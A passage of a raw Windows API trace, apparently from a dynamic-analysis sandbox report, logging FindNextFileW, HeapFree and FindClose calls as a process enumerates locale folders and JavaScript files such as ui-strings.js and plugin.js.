ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0188.202] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.202] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0188.203] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.203] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0188.203] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.203] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0188.204] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.204] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0188.205] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.205] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0188.206] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.206] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0188.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.207] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0188.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0188.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0188.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.209] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0188.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0188.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0188.212] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0188.212] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0188.212] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0188.213] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.213] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0188.214] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0188.214] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0188.215] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.215] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0188.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.216] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0188.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.217] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0188.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.217] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0188.230] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.230] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0188.686] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.686] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.012] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.012] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.012] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.012] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.012] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.013] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.013] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.013] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.013] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.013] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.013] FindClose (in: hFindFile=0x4121788 | out: hFindFile=0x4121788) returned 1 [0189.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.013] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.014] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0189.014] FindClose (in: hFindFile=0x41212c8 | out: hFindFile=0x41212c8) returned 1 [0189.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.014] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0189.014] FindClose (in: hFindFile=0x4121648 | out: hFindFile=0x4121648) returned 1 [0189.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.016] FindNextFileW (in: hFindFile=0x4121488, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.016] FindClose (in: hFindFile=0x4121488 | out: hFindFile=0x4121488) returned 1 [0189.016] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0189.016] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 